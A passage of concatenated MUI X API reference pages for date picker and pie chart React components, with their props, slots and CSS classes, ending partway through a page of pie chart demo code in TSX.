| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |
| - | spacing | Styles applied to the root element unless `disableSpacing={true}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickersActionBar/PickersActionBar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickersActionBar/PickersActionBar.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-calendar-header.md

# PickersCalendarHeader API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)

## Import

```jsx
import { PickersCalendarHeader } from '@mui/x-date-pickers/PickersCalendarHeader';
// or
import { PickersCalendarHeader } from '@mui/x-date-pickers';
// or
import { PickersCalendarHeader } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| format | `string` | ``${adapter.formats.month} ${adapter.formats.year}`` | No |  |
| labelId | `string` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiPickersCalendarHeader` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| switchViewButton | `IconButton` | `.MuiPickersCalendarHeader-switchViewButton` | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | `.MuiPickersCalendarHeader-switchViewIcon` | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | label | Styles applied to the label element. |
| - | labelContainer | Styles applied to the label container element. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickersCalendarHeader/PickersCalendarHeader.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickersCalendarHeader/PickersCalendarHeader.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-day.md

# PickersDay API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Calendar](/x/react-date-pickers/date-calendar/)

## Import

```jsx
import { PickersDay } from '@mui/x-date-pickers/PickersDay';
// or
import { PickersDay } from '@mui/x-date-pickers';
// or
import { PickersDay } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| day | `object` | - | Yes |  |
| isFirstVisibleCell | `bool` | - | Yes |  |
| isLastVisibleCell | `bool` | - | Yes |  |
| outsideCurrentMonth | `bool` | - | Yes |  |
| action | `func \| { current?: { focusVisible: func } }` | - | No |  |
| centerRipple | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| disabled | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableMargin | `bool` | `false` | No |  |
| disableRipple | `bool` | `false` | No |  |
| disableTouchRipple | `bool` | `false` | No |  |
| focusRipple | `bool` | `false` | No |  |
| focusVisibleClassName | `string` | - | No |  |
| onFocusVisible | `func` | - | No |  |
| selected | `bool` | `false` | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| today | `bool` | `false` | No |  |
| TouchRippleProps | `object` | - | No |  |
| touchRippleRef | `func \| { current?: { pulsate: func, start: func, stop: func } }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLButtonElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiPickersDay` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | dayOutsideMonth | Styles applied to the root element if `outsideCurrentMonth=true` and `showDaysOutsideCurrentMonth=true`. |
| - | dayWithMargin | Styles applied to the root element if `disableMargin=false`. |
| `.Mui-disabled` | - | State class applied to the root element if `disabled=true`. |
| - | hiddenDaySpacingFiller | Styles applied to the root element if `outsideCurrentMonth=true` and `showDaysOutsideCurrentMonth=false`. |
| - | root | Styles applied to the root element. |
| `.Mui-selected` | - | State class applied to the root element if `selected=true`. |
| - | today | Styles applied to the root element if `disableHighlightToday=false` and `today=true`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickersDay/PickersDay.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickersDay/PickersDay.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-layout.md

# PickersLayout API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom layout](/x/react-date-pickers/custom-layout/)

## Import

```jsx
import { PickersLayout } from '@mui/x-date-pickers/PickersLayout';
// or
import { PickersLayout } from '@mui/x-date-pickers';
// or
import { PickersLayout } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | `.MuiPickersLayout-actionBar` | Custom component for the action bar, it is placed below the Picker views. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| shortcuts | `PickersShortcuts` | `.MuiPickersLayout-shortcuts` | Custom component for the shortcuts. |
| tabs | `undefined` | `.MuiPickersLayout-tabs` | Tabs enabling toggling between views. |
| toolbar | `undefined` | `.MuiPickersLayout-toolbar` | Custom component for the toolbar.
It is placed above the Picker views. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | contentWrapper | Styles applied to the contentWrapper element (which contains the tabs and the view itself). |
| - | landscape | Styles applied to the root element in landscape orientation. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickersLayout/PickersLayout.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickersLayout/PickersLayout.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-range-calendar-header.md

# PickersRangeCalendarHeader API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)

## Import

```jsx
import { PickersRangeCalendarHeader } from '@mui/x-date-pickers-pro/PickersRangeCalendarHeader';
// or
import { PickersRangeCalendarHeader } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| calendars | `1 \| 2 \| 3` | - | Yes |  |
| month | `object` | - | Yes |  |
| monthIndex | `number` | - | Yes |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| format | `string` | ``${adapter.formats.month} ${adapter.formats.year}`` | No |  |
| labelId | `string` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | label | Styles applied to the label element. |
| - | labelContainer | Styles applied to the label container element. |
| - | root | Styles applied to the root element. |
| - | switchViewButton | Styles applied to the switch view button element. |
| - | switchViewIcon | Styles applied to the switch view icon element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/PickersRangeCalendarHeader/PickersRangeCalendarHeader.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/PickersRangeCalendarHeader/PickersRangeCalendarHeader.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-section-list.md

# PickersSectionList API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom field](/x/react-date-pickers/custom-field/)

## Import

```jsx
import { PickersSectionList } from '@mui/x-date-pickers/PickersSectionList';
// or
import { PickersSectionList } from '@mui/x-date-pickers';
// or
import { PickersSectionList } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| contentEditable | `bool` | - | Yes |  |
| elements | `Array<{ after: object, before: object, container: object, content: object }>` | - | Yes |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `undefined` | `.MuiPickersSectionList-root` |  |
| section | `undefined` | `.MuiPickersSectionList-section` |  |
| sectionContent | `undefined` | `.MuiPickersSectionList-sectionContent` |  |
| sectionSeparator | `undefined` | - |  |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickersSectionList/PickersSectionList.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickersSectionList/PickersSectionList.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-shortcuts.md

# PickersShortcuts API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)
- [Shortcuts](/x/react-date-pickers/shortcuts/)

## Import

```jsx
import { PickersShortcuts } from '@mui/x-date-pickers/PickersShortcuts';
// or
import { PickersShortcuts } from '@mui/x-date-pickers';
// or
import { PickersShortcuts } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| changeImportance | `'accept' \| 'set'` | `"accept"` | No |  |
| dense | `bool` | `false` | No |  |
| disablePadding | `bool` | `false` | No |  |
| items | `Array<{ getValue: func, id?: string, label: string }>` | `[]` | No |  |
| subheader | `node` | - | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickersShortcuts/PickersShortcuts.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickersShortcuts/PickersShortcuts.tsx)

---

# Source: https://mui.com/x/api/date-pickers/pickers-text-field.md

# PickersTextField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom field](/x/react-date-pickers/custom-field/)

## Import

```jsx
import { PickersTextField } from '@mui/x-date-pickers/PickersTextField';
// or
import { PickersTextField } from '@mui/x-date-pickers';
// or
import { PickersTextField } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| areAllSectionsEmpty | `bool` | - | Yes |  |
| contentEditable | `bool` | - | Yes |  |
| elements | `Array<{ after: object, before: object, container: object, content: object }>` | - | Yes |  |
| color | `'error' \| 'info' \| 'primary' \| 'secondary' \| 'success' \| 'warning'` | `'primary'` | No |  |
| focused | `bool` | - | No |  |
| helperText | `node` | - | No |  |
| hiddenLabel | `bool` | `false` | No |  |
| InputProps | `object` | - | No |  |
| margin | `'dense' \| 'none' \| 'normal'` | `'none'` | No |  |
| required | `bool` | `false` | No |  |
| size | `'medium' \| 'small'` | `'medium'` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| variant | `'filled' \| 'outlined' \| 'standard'` | `'outlined'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | fullWidth | Styles applied to the root element if `fullWidth={true}`. |
| - | marginDense | Styles applied to the root element if `margin="dense"`. |
| - | marginNormal | Styles applied to the root element if `margin="normal"`. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/PickersTextField/PickersTextField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/PickersTextField/PickersTextField.tsx)

---

# Source: https://mui.com/x/api/charts/pie-arc-label-plot.md

# PieArcLabelPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Pie](/x/react-charts/pie/)
- [Charts - Pie demos](/x/react-charts/pie-demo/)

## Import

```jsx
import { PieArcLabelPlot } from '@mui/x-charts/PieChart';
// or
import { PieArcLabelPlot } from '@mui/x-charts';
// or
import { PieArcLabelPlot } from '@mui/x-charts-pro';
// or
import { PieArcLabelPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| id | `number \| string` | - | Yes |  |
| outerRadius | `number` | - | Yes |  |
| arcLabel | `'formattedValue' \| 'label' \| 'value' \| func` | - | No |  |
| arcLabelMinAngle | `number` | `0` | No |  |
| arcLabelRadius | `number` | `(innerRadius - outerRadius) / 2` | No |  |
| cornerRadius | `number` | `0` | No |  |
| faded | `{ additionalRadius?: number, arcLabelRadius?: number, color?: string, cornerRadius?: number, innerRadius?: number, outerRadius?: number, paddingAngle?: number }` | `{ additionalRadius: -5 }` | No |  |
| highlighted | `{ additionalRadius?: number, arcLabelRadius?: number, color?: string, cornerRadius?: number, innerRadius?: number, outerRadius?: number, paddingAngle?: number }` | - | No |  |
| innerRadius | `number` | `0` | No |  |
| paddingAngle | `number` | `0` | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| pieArcLabel | `undefined` | - |  |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/PieChart/PieArcLabelPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/PieChart/PieArcLabelPlot.tsx)

---

# Source: https://mui.com/x/api/charts/pie-arc-label.md

# PieArcLabel API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Pie](/x/react-charts/pie/)
- [Charts - Pie demos](/x/react-charts/pie-demo/)

## Import

```jsx
import { PieArcLabel } from '@mui/x-charts/PieChart';
// or
import { PieArcLabel } from '@mui/x-charts';
// or
import { PieArcLabel } from '@mui/x-charts-pro';
// or
import { PieArcLabel } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | animate | Styles applied to the root element when animation is not skipped. |
| - | faded | Styles applied to the root element when faded. |
| - | highlighted | Styles applied to the root element when highlighted. |
| - | root | Styles applied to the root element. |
| - | series | Styles applied to the root element for a specified series.
Needs to be suffixed with the series ID: `.${pieArcLabelClasses.series}-${seriesId}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/PieChart/PieArcLabel.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/PieChart/PieArcLabel.tsx)

---

# Source: https://mui.com/x/api/charts/pie-arc-plot.md

# PieArcPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Pie](/x/react-charts/pie/)
- [Charts - Pie demos](/x/react-charts/pie-demo/)

## Import

```jsx
import { PieArcPlot } from '@mui/x-charts/PieChart';
// or
import { PieArcPlot } from '@mui/x-charts';
// or
import { PieArcPlot } from '@mui/x-charts-pro';
// or
import { PieArcPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| id | `number \| string` | - | Yes |  |
| outerRadius | `number` | - | Yes |  |
| arcLabelRadius | `number` | `(innerRadius - outerRadius) / 2` | No |  |
| cornerRadius | `number` | `0` | No |  |
| faded | `{ additionalRadius?: number, arcLabelRadius?: number, color?: string, cornerRadius?: number, innerRadius?: number, outerRadius?: number, paddingAngle?: number }` | `{ additionalRadius: -5 }` | No |  |
| highlighted | `{ additionalRadius?: number, arcLabelRadius?: number, color?: string, cornerRadius?: number, innerRadius?: number, outerRadius?: number, paddingAngle?: number }` | - | No |  |
| innerRadius | `number` | `0` | No |  |
| onItemClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, pieItemIdentifier: PieItemIdentifier, item: DefaultizedPieValueType) => void` | - | No |  |
| paddingAngle | `number` | `0` | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| pieArc | `undefined` | - |  |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/PieChart/PieArcPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/PieChart/PieArcPlot.tsx)

---

# Source: https://mui.com/x/api/charts/pie-arc.md

# PieArc API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Pie](/x/react-charts/pie/)
- [Charts - Pie demos](/x/react-charts/pie-demo/)

## Import

```jsx
import { PieArc } from '@mui/x-charts/PieChart';
// or
import { PieArc } from '@mui/x-charts';
// or
import { PieArc } from '@mui/x-charts-pro';
// or
import { PieArc } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| skipAnimation | `bool` | - | No |  |
| skipInteraction | `bool` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | faded | Styles applied to the root element when faded. |
| - | focusIndicator | Styles applied to the focus indicator element. |
| - | highlighted | Styles applied to the root element when highlighted. |
| - | root | Styles applied to the root element. |
| - | series | Styles applied to the root element for a specified series.
Needs to be suffixed with the series ID: `.${pieArcClasses.series}-${seriesId}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/PieChart/PieArc.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/PieChart/PieArc.tsx)

---

# Source: https://mui.com/x/api/charts/pie-chart-pro.md

# PieChartPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Pie](/x/react-charts/pie/)

## Import

```jsx
import { PieChartPro } from '@mui/x-charts-pro/PieChartPro';
// or
import { PieChartPro } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'pie' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'pie' }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onItemClick | `func` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'pie' }` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| baseButton | `undefined` | - |  |
| baseDivider | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| baseMenuItem | `undefined` | - |  |
| baseMenuList | `undefined` | - |  |
| basePopper | `undefined` | - |  |
| baseTooltip | `undefined` | - |  |
| exportIcon | `ChartsExportIcon` | - | Icon displayed on the toolbar's export button. |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| pieArc | `undefined` | - |  |
| pieArcLabel | `undefined` | - |  |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |
| zoomInIcon | `ChartsZoomInIcon` | - | Icon displayed on the toolbar's zoom in button. |
| zoomOutIcon | `ChartsZoomOutIcon` | - | Icon displayed on the toolbar's zoom out button. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/PieChartPro/PieChartPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/PieChartPro/PieChartPro.tsx)

---

# Source: https://mui.com/x/api/charts/pie-chart.md

# PieChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Label](/x/react-charts/label/)
- [Charts - Pie](/x/react-charts/pie/)
- [Charts - Pie demos](/x/react-charts/pie-demo/)

## Import

```jsx
import { PieChart } from '@mui/x-charts/PieChart';
// or
import { PieChart } from '@mui/x-charts';
// or
import { PieChart } from '@mui/x-charts-pro';
// or
import { PieChart } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'pie' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'pie' }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onItemClick | `func` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'pie' }` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| baseButton | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| pieArc | `undefined` | - |  |
| pieArcLabel | `undefined` | - |  |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/PieChart/PieChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/PieChart/PieChart.tsx)

---

# Source: https://mui.com/x/react-charts/pie-demo.md

---
title: Charts - Pie demos
productId: x-charts
components: PieArc, PieArcLabel, PieArcLabelPlot, PieArcPlot, PieChart, PiePlot
---

# Charts - Pie demos

This page groups demos using pie charts.

## TwoLevelPieChart

```tsx
import { PieChart } from '@mui/x-charts/PieChart';
import Box from '@mui/material/Box';

const data1 = [
  { label: 'Group A', value: 400 },
  { label: 'Group B', value: 300 },
  { label: 'Group C', value: 300 },
  { label: 'Group D', value: 200 },
];
const data2 = [
  { label: 'A1', value: 100 },
  { label: 'A2', value: 300 },
  { label: 'B1', value: 100 },
  { label: 'B2', value: 80 },
  { label: 'B3', value: 40 },
  { label: 'B4', value: 30 },
  { label: 'B5', value: 50 },
  { label: 'C1', value: 100 },
  { label: 'C2', value: 200 },
  { label: 'D1', value: 150 },
  { label: 'D2', value: 50 },
];

export default function TwoLevelPieChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <PieChart
        series={[
          {
            innerRadius: 0,
            outerRadius: 60,
            data: data1,
          },
          {
            innerRadius: 80,
            outerRadius: 100,
            data: data2,
          },
        ]}
        hideLegend
      />
    </Box>
  );
}

```

## StraightAnglePieChart

```tsx
import { PieChart } from '@mui/x-charts/PieChart';

const data = [
  { label: 'Group A', value: 400 },
  { label: 'Group B', value: 300 },
  { label: 'Group C', value: 300 },
  { label: 'Group D', value: 200 },
  { label: 'Group E', value: 278 },
  { label: 'Group F', value: 189 },
];

export default function StraightAnglePieChart() {
  return (
    <PieChart
      series={[
        {
          startAngle: -90,
          endAngle: 90,
          data,
        },
      ]}
      height={200}
      width={200}
    />
  );
}

```

## PieChartWithCustomizedLabel

```tsx
import { DefaultizedPieValueType } from '@mui/x-charts/models';
import { PieChart, pieArcLabelClasses } from '@mui/x-charts/PieChart';

const data = [
  { label: 'Group A', value: 400, color: '#0088FE' },
  { label: 'Group B', value: 300, color: '#00C49F' },
  { label: 'Group C', value: 300, color: '#FFBB28' },
  { label: 'Group D', value: 200, color: '#FF8042' },
];

const sizing = {
  margin: { right: 5 },
  width: 200,
  height: 200,
  hideLegend: true,
};
const TOTAL = data.map((item) => item.value).reduce((a, b) => a + b, 0);

const getArcLabel = (params: DefaultizedPieValueType) => {
  const percent = params.value / TOTAL;
  return `${(percent * 100).toFixed(0)}%`;
};

export default function PieChartWithCustomizedLabel() {
  return (
    <PieChart
      series={[
        {
          outerRadius: 80,
          data,
          arcLabel: getArcLabel,
        },
      ]}
      sx={{
        [`& .${pieArcLabelClasses.root}`]: {
          fill: 'white',
          fontSize: 14,
        },
      }}
      {...sizing}
    />
  );
}

```

## PieChartWithPaddingAngle

```tsx
import Stack from '@mui/material/Stack';
import { PieChart } from '@mui/x-charts/PieChart';

const data = [
  { label: 'Group A', value: 400 },
  { label: 'Group B', value: 300 },
  { label: 'Group C', value: 300 },
  { label: 'Group D', value: 200 },
];

export default function PieChartWithPaddingAngle() {
  return (
    <Stack width="100%" height={300} direction="row">
      <PieChart
        series={[
          {
            paddingAngle: 5,
            innerRadius: '60%',
            outerRadius: '90%',
            data,
          },
        ]}
        hideLegend
      />
      <PieChart
        series={[
          {
            startAngle: -90,
            endAngle: 90,
            paddingAngle: 5,
            innerRadius: '60%',
            outerRadius: '90%',
            data,
          },
        ]}
        hideLegend
      />
    </Stack>
  );
}

```

## PieChartWithCenterLabel

```tsx
import * as React from 'react';
import { PieChart } from '@mui/x-charts/PieChart';
import { useDrawingArea } from '@mui/x-charts/hooks';
import { styled } from '@mui/material/styles';

const data = [
  { value: 5, label: 'A' },
  { value: 10, label: 'B' },
  { value: 15, label: 'C' },
  { value: 20, label: 'D' },
];

const size = {
  width: 200,
  height: 200,
};

const StyledText = styled('text')(({ theme }) => ({
  fill: theme.palette.text.primary,
  textAnchor: 'middle',
  dominantBaseline: 'central',
  fontSize: 20,
}));

function PieCenterLabel({ children }: { children: React.ReactNode }) {
  const { width, height, left, top } = useDrawingArea();
  return (
    <StyledText x={left + width / 2} y={top + height / 2}>
      {children}
    </StyledText>
  );
}

export default function PieChartWithCenterLabel() {
  return (
    <PieChart series={[{ data, innerRadius: 80 }]} {...size}>
      <PieCenterLabel>Center label</PieCenterLabel>
    </PieChart>
  );
}

```

## Pie chart with custom mark in legend and tooltip

```tsx
import { PieChart } from '@mui/x-charts/PieChart';
import { ChartsLabelCustomMarkProps } from '@mui/x-charts/ChartsLabel';

function HTMLDiamond({ className, color }: ChartsLabelCustomMarkProps) {
  return (
    <div
      className={className}
      style={{ transform: 'scale(0.6, 0.75) rotate(45deg)', background: color }}
    />
  );
}

function SVGStar({ className, color }: ChartsLabelCustomMarkProps) {
  return (
    <svg viewBox="-7.423 -7.423 14.846 14.846">
      <path
        className={className}
        d="M0,-7.528L1.69,-2.326L7.16,-2.326L2.735,0.889L4.425,6.09L0,2.875L-4.425,6.09L-2.735,0.889L-7.16,-2.326L-1.69,-2.326Z"
        fill={color}
      />
